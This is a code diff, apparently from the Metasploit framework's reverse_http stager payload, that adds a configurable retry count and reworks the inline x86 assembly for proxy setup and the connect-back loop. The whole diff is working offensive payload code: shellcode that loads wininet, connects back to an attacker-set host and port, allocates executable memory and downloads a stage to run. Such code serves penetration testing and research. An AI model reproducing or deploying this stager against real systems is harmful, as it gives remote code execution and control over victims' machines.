@@ -28,11 +28,12 @@ def initialize(*args)
28
28
register_advanced_options (
29
29
[
30
30
OptInt . new ( 'StagerURILength' , [ false , 'The URI length for the stager (at least 5 bytes)' ] ) ,
31
+ OptInt . new ( 'StagerRetryCount' , [ false , 'The number of times the stager should retry if the first connect fails' , 10 ] ) ,
31
32
OptString . new ( 'PayloadProxyHost' , [ false , 'An optional proxy server IP address or hostname' ] ) ,
32
33
OptPort . new ( 'PayloadProxyPort' , [ false , 'An optional proxy server port' ] ) ,
33
34
OptString . new ( 'PayloadProxyUser' , [ false , 'An optional proxy server username' ] ) ,
34
35
OptString . new ( 'PayloadProxyPass' , [ false , 'An optional proxy server password' ] ) ,
35
- OptEnum . new ( 'PayloadProxyType' , [ false , 'The type of HTTP proxy (HTTP or SOCKS)' , 'HTTP' , [ 'HTTP' , 'SOCKS' ] ] ) ,
36
+ OptEnum . new ( 'PayloadProxyType' , [ false , 'The type of HTTP proxy (HTTP or SOCKS)' , 'HTTP' , [ 'HTTP' , 'SOCKS' ] ] )
36
37
] , self . class )
37
38
end
38
39
@@ -46,7 +47,8 @@ def generate
46
47
ssl : false ,
47
48
host : datastore [ 'LHOST' ] ,
48
49
port : datastore [ 'LPORT' ] ,
49
- url : "/" + generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITW ) )
50
+ url : generate_small_uri ,
51
+ retry_count : datastore [ 'StagerRetryCount' ] )
50
52
end
51
53
52
54
conf = {
@@ -59,7 +61,8 @@ def generate
59
61
proxy_port : datastore [ 'PayloadProxyPort' ] ,
60
62
proxy_user : datastore [ 'PayloadProxyUser' ] ,
61
63
proxy_pass : datastore [ 'PayloadProxyPass' ] ,
62
- proxy_type : datastore [ 'PayloadProxyType' ]
64
+ proxy_type : datastore [ 'PayloadProxyType' ] ,
65
+ retry_count : datastore [ 'StagerRetryCount' ]
63
66
}
64
67
65
68
generate_reverse_http ( conf )
@@ -130,24 +133,23 @@ def required_space
130
133
end
131
134
132
135
#
133
- # Dynamic payload generation
136
+ # Generate an assembly stub with the configured feature set and options.
137
+ #
138
+ # @option opts [Bool] :ssl Whether or not to enable SSL
139
+ # @option opts [String] :url The URI to request during staging
140
+ # @option opts [String] :host The host to connect to
141
+ # @option opts [Fixnum] :port The port to connect to
142
+ # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
143
+ # @option opts [String] :proxy_host The optional proxy server host to use
144
+ # @option opts [Fixnum] :proxy_port The optional proxy server port to use
145
+ # @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
146
+ # @option opts [String] :proxy_user The optional proxy server username
147
+ # @option opts [String] :proxy_pass The optional proxy server password
148
+ # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
134
149
#
135
150
def asm_reverse_http ( opts = { } )
136
151
137
- #
138
- # options should contain:
139
- # ssl: (true|false)
140
- # url: "/url_to_request"
141
- # host: [hostname]
142
- # port: [port]
143
- # exitfunk: [process|thread|seh|sleep]
144
- # proxy_host: [proxy-server]
145
- # proxy_port: [port]
146
- # proxy_user: [username]
147
- # proxy_pass: [password]
148
- # proxy_type: [HTTP|SOCKS]
149
- #
150
-
152
+ retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
151
153
proxy_enabled = !!( opts [ :proxy_host ] . to_s . strip . length > 0 )
152
154
proxy_info = ""
153
155
@@ -202,25 +204,19 @@ def asm_reverse_http(opts={})
202
204
push esp ; Push a pointer to the "wininet" string on the stack.
203
205
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
204
206
call ebp ; LoadLibraryA( "wininet" )
205
-
206
- set_retry:
207
- push.i8 8 ; retry 8 times should be enough
208
- pop edi
209
-
210
207
xor ebx, ebx ; Set ebx to NULL to use in future arguments
211
208
^
212
209
213
210
if proxy_enabled
214
211
asm << %Q^
215
- call get_proxy_server
216
- db "#{ proxy_info } ", 0x00
217
- get_proxy_server:
218
- pop ecx
219
212
internetopen:
220
213
push ebx ; DWORD dwFlags
221
214
push esp ; LPCTSTR lpszProxyBypass ("" = empty string)
222
- push ecx ; LPCTSTR lpszProxyName (NULL)
223
- push.i8 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
215
+ call get_proxy_server
216
+ db "#{ proxy_info } ", 0x00
217
+ get_proxy_server:
218
+ ; LPCTSTR lpszProxyName (via call)
219
+ push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
224
220
push ebx ; LPCTSTR lpszAgent (NULL)
225
221
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
226
222
call ebp
@@ -242,7 +238,7 @@ def asm_reverse_http(opts={})
242
238
internetconnect:
243
239
push ebx ; DWORD_PTR dwContext (NULL)
244
240
push ebx ; dwFlags
245
- push.i8 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
241
+ push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
246
242
push ebx ; password (NULL)
247
243
push ebx ; username (NULL)
248
244
push #{ opts [ :port ] } ; PORT
@@ -261,15 +257,14 @@ def asm_reverse_http(opts={})
261
257
262
258
if proxy_enabled && proxy_user
263
259
asm << %Q^
260
+ ; DWORD dwBufferLength (length of username)
261
+ push #{ proxy_user . length }
264
262
call set_proxy_username
265
263
proxy_username:
266
264
db "#{ proxy_user } ",0x00
267
265
set_proxy_username:
268
- pop ecx ; Save the proxy username into ecx
269
- ; DWORD dwBufferLength (length of username)
270
- push #{ proxy_user . length }
271
- push ecx ; LPVOID lpBuffer (username)
272
- push.i8 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
266
+ ; LPVOID lpBuffer (username from previous call)
267
+ push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
273
268
push esi ; hConnection
274
269
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
275
270
call ebp
@@ -278,15 +273,14 @@ def asm_reverse_http(opts={})
278
273
279
274
if proxy_enabled && proxy_pass
280
275
asm << %Q^
276
+ ; DWORD dwBufferLength (length of password)
277
+ push #{ proxy_pass . length }
281
278
call set_proxy_password
282
279
proxy_password:
283
280
db "#{ proxy_pass } ",0x00
284
281
set_proxy_password:
285
- pop ecx ; Save the proxy password into ecx
286
- ; DWORD dwBufferLength (length of password)
287
- push #{ proxy_pass . length }
288
- push ecx ; LPVOID lpBuffer (password)
289
- push.i8 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
282
+ ; LPVOID lpBuffer (password from previous call)
283
+ push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
290
284
push esi ; hConnection
291
285
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
292
286
call ebp
@@ -307,6 +301,11 @@ def asm_reverse_http(opts={})
307
301
call ebp
308
302
xchg esi, eax ; save hHttpRequest in esi
309
303
304
+ ; Store our retry counter in the edi register
305
+ set_retry:
306
+ push #{ retry_count }
307
+ pop edi
308
+
310
309
send_request:
311
310
^
312
311
@@ -321,9 +320,9 @@ def asm_reverse_http(opts={})
321
320
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
322
321
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
323
322
mov eax, esp
324
- push.i8 4 ; sizeof(dwFlags)
323
+ push 4 ; sizeof(dwFlags)
325
324
push eax ; &dwFlags
326
- push.i8 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
325
+ push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
327
326
push esi ; hHttpRequest
328
327
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
329
328
call ebp
@@ -364,7 +363,7 @@ def asm_reverse_http(opts={})
364
363
365
364
asm << %Q^
366
365
allocate_memory:
367
- push.i8 0x40 ; PAGE_EXECUTE_READWRITE
366
+ push 0x40 ; PAGE_EXECUTE_READWRITE
368
367
push 0x1000 ; MEM_COMMIT
369
368
push 0x00400000 ; Stage allocation (4Mb ought to do us)
370
369
push ebx ; NULL as we dont care where the allocation is
0 commit comments